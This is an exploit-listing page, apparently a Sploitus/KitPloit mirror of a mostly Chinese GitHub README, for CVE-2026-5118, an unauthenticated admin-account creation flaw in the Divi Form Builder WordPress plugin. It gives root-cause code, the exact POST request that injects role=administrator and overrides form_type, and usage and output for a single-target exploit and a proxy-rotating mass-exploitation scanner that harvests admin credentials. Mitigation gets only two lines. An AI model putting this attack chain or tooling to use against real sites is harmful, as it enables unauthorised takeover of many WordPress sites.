Sploitus

Exploit for CVE-2026-5118

kitploit · 2026-08-25

Exploit Code

MARKDOWN270 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-1BEELZE-CVE-2026-5118
# CVE-2026-5118 — Divi Form Builder ≤ 5.1.2

**未认证权限提升(通过角色注入)**  
_=== Beelze ( 零日漏洞 1diot9 ) ===_

![](https://img.shields.io/badge/CVE-2026--5118-red?style=flat-square) ![](https://img.shields.io/badge/CVSS-9.8%20Critical-critical?style=flat-square) ![](https://img.shields.io/badge/Affected-%E2%89%A4%205.1.2-orange?style=flat-square) ![](https://img.shields.io/badge/Patched-5.1.3-green?style=flat-square) ![](https://img.shields.io/badge/Type-Improper%20Privilege%20Management-purple?style=flat-square)

* * *

## 📋 漏洞信息

字段| 详情  
---|---  
**CVE ID**|  CVE-2026-5118  
**CVSS 评分**|  9.8 (严重)  
**CVSS 向量**| `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`  
**CWE**|  CWE-269 — 不恰当的权限管理  
**插件**|  Divi Form Builder (由 Divi Engine 开发)  
**受影响版本**|  所有版本 ≤ 5.1.2  
**已修复版本**|  5.1.3 (2026年4月13日)  
**公开日期**|  2026年5月20日  
**研究人员**|  0xd4rk5id3 — EnvoraSec  
**PoC**|  Beelze ( 零日漏洞 1diot9 )  
  
* * *

## 🔍 描述

**Divi Form Builder** WordPress 插件在 **5.1.2** 及之前所有版本中存在 **未认证权限提升** 漏洞。

位于 `FormSubmissionHandler.php` 中的 `create_user()` 函数在用户注册过程中,从 POST 数据中接受用户控制的 `role` 参数,**但未将该参数与表单配置的`default_user_role` 设置进行验证**。唯一的"保护"是 `sanitize_text_field()` —— 它仅去除 HTML 标签和编码,但 **完全无法** 将值限制在安全角色范围内 —— 随后进行的存在性检查仅验证该角色在 WordPress 中是否存在(而 `administrator` 始终存在)。

这三重缺陷使得未认证攻击者能够:

  1. 找到 **任意** 包含 Divi Form Builder 表单的页面(联系表单、报价表单、新闻通讯表单等)
  2. 从 `de_fb_obj` JavaScript 对象中提取 **全局共享的 nonce** (`fb_nonce`)
  3. 通过 POST 覆盖 `form_type` 为 `register` —— 将任何表单变成注册入口
  4. 在 AJAX 提交中注入 `role=administrator`
  5. 使用攻击者控制的凭证创建 **完全的管理员账号**



> **结果:** 完全接管网站 —— 零认证、零用户交互、仅需一个 POST 请求。

* * *

## 🧬 根因分析

### 1\. 未清洗的角色来源(从 POST 数据获取)

root@kitploit:~
    
    
    // includes/shared/handlers/FormSubmissionHandler.php — create_user() ~line 2250
    $role = isset($form_data['role'])
        ? sanitize_text_field($form_data['role'])   // ← 仅去除标签/编码!
        : 'subscriber';                              // ← 'administrator' 原样通过
    

`sanitize_text_field()` 专为自由文本清理(XSS 防护)设计。它 **不会** 根据安全角色的白名单进行验证。字符串 `"administrator"` 不包含任何 HTML 标签或特殊编码 —— 它完全不受影响地通过。

### 2\. 仅存在性验证 —— 非安全检查

root@kitploit:~
    
    
    // ~line 2278
    $roles_obj = wp_roles();
    if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
        !isset($roles_obj->roles[$role])) {
        $role = 'subscriber';   // ← 仅当角色不存在时回退
    }
    

该检查询问: _"这个角色在 WordPress 中存在吗?"_ —— 而 `administrator` **始终存在** 。它从未提出正确的问题: _"这个角色对于公开展示的自我注册是否安全?"_ 正确的检查应针对像 `['subscriber', 'contributor']` 这样的白名单进行验证,或强制使用表单的 `default_user_role` 设置。

### 3\. 无能力门控的直接角色分配

root@kitploit:~
    
    
    // ~line 2301
    $user = new WP_User($user_id);
    $user->set_role($role);   // ← 攻击者控制的角色直接应用
    

没有 `current_user_can('create_users')` 检查。没有 `current_user_can('promote_users')` 检查。没有任何类型的能力验证。攻击者提供的角色直接传递给 `set_role()`。

### 4\. 全局共享 nonce —— 在每个包含表单的页面上暴露

root@kitploit:~
    
    
    // 前端 JS 本地化
    wp_localize_script('de-fb-scripts', 'de_fb_obj', [
        'ajax_url' => admin_url('admin-ajax.php'),
        'nonce'    => wp_create_nonce('security'),   // ← 所有表单、所有页面使用相同的 nonce
        // ...
    ]);
    

`fb_nonce` 通过 `wp_create_nonce('security')` 创建 —— 一个在站点上每个 DFB 表单之间共享的通用操作字符串。任何访客都可以通过阅读页面源码中的 `de_fb_obj` JavaScript 对象来提取它。

### 5\. 表单类型覆盖 —— 任何表单变成注册端点

root@kitploit:~
    
    
    // AJAX 处理器
    $form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';
    
    if ($form_type === 'register') {
        $this->create_user($form_data);   // ← 由 POST 覆盖触发!
    }
    

`form_type` 从 POST 数据中读取,而非服务端表单配置。攻击者可以向 **任意** DFB AJAX 提交发送 `form_type=register` —— 联系表单、报价请求、新闻通讯注册 —— 而服务器将执行注册代码路径。表单的原始目的无关紧要。

* * *

## ⚔️ 攻击链

root@kitploit:~
    
    
    [未认证攻击者]
             │
             ▼
       GET /任意包含 DFB 表单的页面/
       ← HTML 源码: de_fb_obj = {"nonce":"abc123def0", ...}
             │
             ▼
       从 de_fb_obj JavaScript 对象中提取 fb_nonce
             │
             ▼
       POST /wp-admin/admin-ajax.php
       ┌──────────────────────────────────────────────┐
       │  action    = de_fb_ajax_submit_ajax_handler  │
       │  fb_nonce  = abc123def0                      │
       │  role      = administrator        ← 注入的    │
       │  form_type = register          ← 覆盖的      │
       │  user_login = attacker_admin                 │
       │  user_pass  = AttackerPass123!               │
       │  user_email = some-email@example.com              │
       └──────────────────────────────────────────────┘
             │
             ▼
       sanitize_text_field('administrator') → 'administrator'    ✓ 通过
       wp_roles()->roles['administrator'] 存在?→ 是           ✓ 通过
       $user->set_role('administrator')                          ✓ 无能力检查
             │
             ▼
       ← {"success": true, "data": {"message": "User created"}}
             │
             ▼
       POST /wp-login.php
       log=attacker_admin & pwd=AttackerPass123!
       ← 302 → /wp-admin/
             │
             ▼
       [完全管理员访问权限] 🔥
    

* * *

## 🛠️ 工具

### `CVE-2026-5118.py` —— 单目标利用

完整的 5 阶段利用链,包含自动表单发现和 nonce 提取。

root@kitploit:~
    
    
    python3 CVE-2026-5118.py
    

root@kitploit:~
    
    
      目标 URL: https://target.com
      用户名 [beelze_admin]:
      密码 [Beelze123!!@#!]:
      邮箱 [some-email@example.com]:
      超时(秒)[15]:
      SOCKS5 代理(留空 = 无):
    

**利用阶段:**

root@kitploit:~
    
    
    阶段 1  ▶  可达性检测 (HTTPS + HTTP 回退)
    阶段 2  ▶  插件检测 (readme.txt 版本检查)
    阶段 3  ▶  表单发现与 Nonce 提取
                 ├── REST API 页面扫描
                 ├── 常见路径探测
                 ├── 站点地图爬取
                 └── 首页链接爬取
    阶段 4  ▶  角色注入 (权限提升)
    阶段 5  ▶  管理员登录验证
    

**输出 (`scan_results/CVE-2026-5118_success.txt`):**

root@kitploit:~
    
    
    https://target.com | beelze_admin:Beelze123!!@#!
    

* * *

### `CVE-2026-5118-mass.py` —— 批量扫描器

多线程批量利用,支持 JSONL 日志记录和恢复功能。

root@kitploit:~
    
    
    python3 CVE-2026-5118-mass.py
    

root@kitploit:~
    
    
      目标文件(每行一个 URL): targets.txt
      用户名 [beelze_admin]:
      密码 [Beelze123!!@#!]:
      邮箱 [some-email@example.com]:
      线程数 [10]:
      超时(秒)[10]:
      代理文件(SOCKS5,每行一个,留空 = 无):
      恢复上次扫描?(y/n) [n]:
    

**特性:**

  * 多线程扫描,可配置线程数
  * SOCKS5 代理轮换
  * JSONL 输出,便于程序化处理
  * 恢复支持 —— 跳过已扫描的目标
  * 丰富的进度条,实时统计
  * HTTPS 失败时自动 HTTP 回退



**输出 (`scan_results/CVE-2026-5118_success.txt`):**

root@kitploit:~
    
    
    https://target1.com | beelze_admin:Beelze123!!@#!
    https://target2.com | beelze_admin:Beelze123!!@#!
    

* * *

## 🔒 缓解措施

  * 将 Divi Form Builder 更新到 **5.1.3** 或更高版本
  * 补丁强制要求分配的角色始终是服务端在表单的 `default_user_role` 设置中配置的角色,忽略任何来自 POST 数据的用户提供的 `role` 参数



* * *

**Beelze ( 零日漏洞 1diot9 )** —— 仅用于教育和授权的安全研究